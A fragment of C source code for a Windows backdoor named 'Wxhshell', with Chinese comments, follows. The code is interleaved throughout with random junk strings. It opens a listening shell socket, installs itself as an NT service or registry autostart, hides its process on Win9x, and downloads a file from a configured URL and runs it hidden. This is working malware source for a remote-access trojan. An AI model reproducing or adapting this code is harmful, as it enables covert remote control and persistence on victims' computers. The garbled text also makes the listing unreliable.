ME_) L\:|95Yq return 0; // 注册表启动 VUb>{&F[ } q6zVu( 7CIN!vrC|1 // 主模块 xL}i9ozZ int StartWxhshell(LPSTR lpCmdLine) w^yb`\$ { l45/$G7 SOCKET wsl; LUOjaX BOOL val=TRUE; c4JV~VS+ int port=0; j-<]OOD struct sockaddr_in door; j3j?2#vR ]l,BUf-O if(wscfg.ws_autoins) Install(); SSK}'LQ ?=u?u
k<- port=atoi(lpCmdLine); )M0YX?5AR inP2y ?j if(port<=0) port=wscfg.ws_port; c[dSO(= gf|uZ9{ WSADATA data; u'YXI="( if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [FFr}\}bY x/|W;8g4 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 'jev1u[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -Q
WvB door.sin_family = AF_INET; CM6% g f3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); 144Y. door.sin_port = htons(port); AdX))xgl tOwn M1
:( if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !_QI<=X closesocket(wsl); Od1\$\4Z return 1; j=WxtMS } coP->&(@U# u]^s2v if(listen(wsl,2) == INVALID_SOCKET) { qeZG/\, closesocket(wsl); l:HQ@FX return 1; aZ#FKp^8H } rRTKF0+ Wxhshell(wsl); m`yvZ4K! WSACleanup(); 3efOgP=L |9*Rnm_ return 0; !)s(Lv%] L/k35 x8 } c%&,(NJ]K m#"_x{oa // 以NT服务方式启动 ot0teNF VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
hkK>h { ddn
IKkOp DWORD status = 0; u
Ie^Me DWORD specificError = 0xfffffff; T:^.; ZY ak(s@@k serviceStatus.dwServiceType = SERVICE_WIN32; -(vHy/Hz. serviceStatus.dwCurrentState = SERVICE_START_PENDING; )nUdU
= m serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _3/u#'m0 serviceStatus.dwWin32ExitCode = 0; L&\W+k serviceStatus.dwServiceSpecificExitCode = 0; ym;]3<I?I[ serviceStatus.dwCheckPoint = 0; l*CulVX serviceStatus.dwWaitHint = 0; g2OnLEF]s ,@*5x'auK hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]_KWN$pd if (hServiceStatusHandle==0) return; _i=*0Q Z{8%Cln status = GetLastError(); RdCGK?s if (status!=NO_ERROR) WowKq0sn { `M@ESA(e serviceStatus.dwCurrentState = SERVICE_STOPPED; p=+Y7NE) serviceStatus.dwCheckPoint = 0; xP8/1wd. serviceStatus.dwWaitHint = 0; 0h-NT\m serviceStatus.dwWin32ExitCode = status; gtKih serviceStatus.dwServiceSpecificExitCode = specificError; D*l(p5[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); fB2ILRc return; ak 7% } " ityx? l\_!oa~ serviceStatus.dwCurrentState = SERVICE_RUNNING; ?1Nz
,Lc$ serviceStatus.dwCheckPoint = 0; 5ibr1zs serviceStatus.dwWaitHint = 0; Yy~x`P'g! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e$LC } 9Po>laT
5 b8!oZ~K // 处理NT服务事件,比如:启动、停止 3.Fko<D4jD VOID WINAPI NTServiceHandler(DWORD fdwControl) KOixFn1 { 7%h;To-<6 switch(fdwControl) 2> a&m> { ,xwiJfG;
] case SERVICE_CONTROL_STOP: #X(2 serviceStatus.dwWin32ExitCode = 0; 1P)K@j serviceStatus.dwCurrentState = SERVICE_STOPPED; 175e:\Tw serviceStatus.dwCheckPoint = 0; %1&X+s3 serviceStatus.dwWaitHint = 0; G^'We6< { g;l K34{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); kNuvJ/St } ^-%'ItVO return; 8\J$\Edv case SERVICE_CONTROL_PAUSE: l;-2hZ serviceStatus.dwCurrentState = SERVICE_PAUSED; Tzd#!Lvm:, break; ~-"CU:$o case SERVICE_CONTROL_CONTINUE: {$S"Sj serviceStatus.dwCurrentState = SERVICE_RUNNING; r^k+D<k[7 break; =Jp:dM* case SERVICE_CONTROL_INTERROGATE: ("`"?G break; QPuc{NcB> }; O>E}Lu;| SetServiceStatus(hServiceStatusHandle, &serviceStatus); {-)^?Zb
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'v FQek+[ox // 标准应用程序主函数 uc9h}QJ* int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9>{fsy { `;mgJD m%9Yo%l~ // 获取操作系统版本 J;sQvPHV8 OsIsNt=GetOsVer(); 7 [e-3 GetModuleFileName(NULL,ExeFile,MAX_PATH); NSVE3 " ILF!z // 从命令行安装 Xl=RaV^X" if(strpbrk(lpCmdLine,"iI")) Install(); $YJ 1P Mg >%EH/' // 下载执行文件 6{I7=.V if(wscfg.ws_downexe) { &D<6Go/)_* if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >p&"X 2
@ WinExec(wscfg.ws_filenam,SW_HIDE); &5}YTKe}| } 'c~SE> vhMoCLb if(!OsIsNt) { taDe^Istj // 如果时win9x,隐藏进程并且设置为注册表启动 8{Wl HideProc(); -axKnfj StartWxhshell(lpCmdLine); CUDA<Fm } A}"|_&E else we}xGb.u if(StartFromService()) dPO"8HQ // 以服务方式启动 CLND[gc StartServiceCtrlDispatcher(DispatchTable); 0}GO$%l else 7<LuL // 普通方式启动 YM#'+wl}` StartWxhshell(lpCmdLine); Av.`'.b 1PVZGZxAgv return 0; 'qV lq5. }
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